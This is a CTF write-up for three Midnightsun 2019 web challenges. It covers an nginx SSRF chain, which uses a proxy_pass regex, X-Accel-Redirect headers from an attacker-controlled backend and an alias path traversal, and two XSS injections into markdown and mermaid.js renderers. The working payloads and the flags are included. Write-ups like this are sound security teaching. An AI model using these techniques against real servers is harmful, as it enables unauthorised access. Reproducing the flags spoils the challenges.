Midnightsun CTF 2019 - bigspin, marcodowno, marcozuckerbergo
08 April 2019 by alfink
Bigspin
This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?
Service: http://bigspin-01.play.midnightsunctf.se:3123
spin 1 (SSRF)
The main page of Bigspin consists of 4 links: /uberadmin/
, /admin/
, /user/
, /pleb/
. /user/
and /uberadmin/
returns 403 and admin
returns 404. The only
accessible link is /pleb/
. The page is served by nginx, and there are no forms or other probable inputs except the url.
The first idea was that a path teaversal might be possible, what often happens when using alias
instead of root
when configuring nignx. Therefore the first try is /pleb../uberadmin/
.
Instead of an easy flag or an 40x error, it returns a 502 Bad Gateway. Another interesting fact is that /pleb/
looks identical to example.com
.
This was a strong hint that the url is somehow used as input to proxy-pass. Requesting /pleb.alfink.de/
confirms this therory, because the response body is identical to the response body of http://*.alfink.de
. So, we found a SSRF vulnerability which also leaks the response of the request.
spin 2 (pleb -> user)
Until now, /user/
and /uberadmin/
returned 403. Maybe they are only available from localhost or an internal network. Using the SSRF, it might be possible to access one of those pages. And it works with /pleb.localtest.me/user/
(*.localtest.me resolves to 127.0.0.1) which returns a directory listing with a file nginx.c%C3%B6nf%20
.
After urlencoding it again (/pleb.localtest.me/user/nginx.c%25C3%25B6nf%2520
), the service returns its nginx-config:
worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
worker_connections 1024;
}
http {
# Set an array of temp and cache files options that otherwise defaults to
# restricted locations accessible only to root.
client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
resolver 8.8.8.8 ipv6=off;
server {
listen 80;
location / {
root /var/www/html/public;
try_files $uri $uri/index.html $uri/ =404;
}
location /user {
allow 127.0.0.1;
deny all;
autoindex on;
root /var/www/html/;
}
location /admin {
internal;
autoindex on;
alias /var/www/html/admin/;
}
location /uberadmin {
allow 0.13.3.7;
deny all;
autoindex on;
alias /var/www/html/uberadmin/;
}
location ~ /pleb([/a-zA-Z0-9.:%]+) {
proxy_pass http://example.com$1;
}
access_log /dev/stdout;
error_log /dev/stdout;
}
}
spin 3 (user -> admin)
After leaking the nginx config from the user directory, it’s time to proceed with the admin. The config also explains, why /admin/
returns 404. It’s because the internal
statement of nginx restricts the location to server-side redirects by nginx. Such redirects can either be done server-side with the rewrite
statement, or by setting the X-Accel-Redirect
header in a backend server. Because the attacker can choose the backend server, it is easy to implement such a redirect header on an attacker-controlled backend server (*.alfink.de
):
location = /x.html {
add_header X-Accel-Redirect "/admin/";
return 200 hm;
}
Now, requesting /pleb.alfink.de/x.html
returns a directory listing of /admin/
with a flag.txt
. Replacing the redirect header with /admin/flag.txt
returns:
hmmm, should admins really get flags? seems like an uberadmin thing to me
Seems like there is one more spin necessary…
spin 4 (admin -> uberadmin)
The last step is easy. The config reveals that the admin location uses the alias
statement instead of the root
statement. The alias
statement takes everything after /admin
and appends it to /var/www/html/admin/
. So, a request to /admin../
resolves to /var/www/html/admin/../
= /var/www/html/
. This path traversal can be exploited to access the uberadmin folder by using this configuration on the attacker-controlled backend-server:
location = /y.html {
add_header X-Accel-Redirect "/admin../uberadmin/";
return 200 hm;
}
Requesting /pleb.alfink.de/y.html
returns a directory listing and changing the header to X-Accel-Redirect "/admin../uberadmin/flag.txt"
gives the valid flag: midnight{y0u_sp1n_m3_r1ght_r0und_b@by}
Marco zuckerbergo
Fine, I’ll use a damn lib. Let’s see if it’s any better.
Service: http://marcozuckerbergo-01.play.midnightsunctf.se:3002
The challenge consisted of a page that allows to provide input for mermaid.js, which will then generate HTML to display the resulting graph:
$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));
The goal of the challenge was to provide a link that will open the alert-box, so an XSS is required. The simplest XSS would be if we can inject arbitrary HTML tags. I expected there are many people who want to include HTML elements for e.g. links in their graphs. And a quick google search reveals a suitable answer on stackoverflow. By replacing the HTML in the example with the default XSS-payload, we get a working exploit:
graph TD; A["<img src=x onerror='alert(1)'>"]
Submitting the link gives back the flag midnight{1_gu3zz_7rust1ng_l1bs_d1dnt_w0rk_3ither:(}
Marco Downo
Someone told me to use a lib, but real developers rock regex one-liners.
Service: http://marcodowno-01.play.midnightsunctf.se:3001
This challenge was similar to Marco zuckerbergo. But, instead of mermaid.js, a selfmade markdown parser parsed the input:
function markdown(text){
text = text.replace(/[<]/g, '').replace(/----/g,'<hr>').replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').replace(/__([^_]+)__/g, '<b>$1</b>').replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').replace(/\* ([^*]+)/g, '<li>$1</li>').replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').replace(/### ([^#\n]+)/g, '<h3>$1</h3>').replace(/## ([^#\n]+)/g, '<h2>$1</h2>').replace(/# ([^#\n]+)/g, '<h1>$1</h1>').replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').replace(/\n/g, "<br>");
return text;
}
Once again, the goal was to find a XSS to open an alert box. It turns out that the alt-text of an image may consist of every character except ]
and is pasted into the alt-attribute of an image tag without any escaping:
.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')
Now adding a "
to the alt-text terminates the HTML attribute string and allows to add an onerror-handler with to the image tag. This payload sets alert(1)
as onerror-handler and uses an 404-url to trigger it:

Submitting the URL returns the flag midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?}